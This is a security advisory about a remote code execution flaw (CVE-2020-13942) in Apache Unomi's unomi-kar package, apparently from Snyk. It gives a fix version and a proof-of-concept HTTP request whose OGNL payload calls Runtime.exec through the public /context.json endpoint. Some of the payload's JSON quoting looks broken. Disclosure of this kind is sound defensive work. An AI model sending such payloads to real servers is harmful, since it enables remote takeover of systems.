Remote Code Execution (RCE) Affecting org.apache.unomi:unomi-kar package, versions [,1.5.2)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
97.39% (100th percentile)

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  • Snyk IDSNYK-JAVA-ORGAPACHEUNOMI-1045347
  • published25 Nov 2020
  • disclosed25 Nov 2020
  • creditEugene Rojavski

Introduced: 25 Nov 2020

CVE-2020-13942  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade org.apache.unomi:unomi-kar to version 1.5.2 or higher.

Overview

org.apache.unomi:unomi-kar is a package for the Apache Unomi Context Server.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). It is possible to inject malicious OGNL or MVEL scripts into the /context.json public endpoint.

PoC

POST /context.json HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/json
Content-Length: 200
 
 
{"personalizations":[{"id" : "test","strategy":"matching-first",strategyOptions":{"fallback":"var2"},"contents":[{"filters":[{"condition":{"parameterValues":{propertyName":"(#runtimeclass=#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod=#runtimeclass.getDeclaredMethods().{^#this.name.equals(\"getRuntime\")}[0]).(rtobj=#getruntimemethod.invoke(null,null)).(#execmethod=#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang/String\")}.{? #this.getParameters().length<2[0]).(#execmethod.invoke(#rtobj,\" touch /tmp/POC\"))","comparisonOperator":"equals","propertyValue":"male"},"type":"profilePropertyCondition"}}]}]}],"sessionId":"demo-session-id"}

CVSS Scores

version 3.1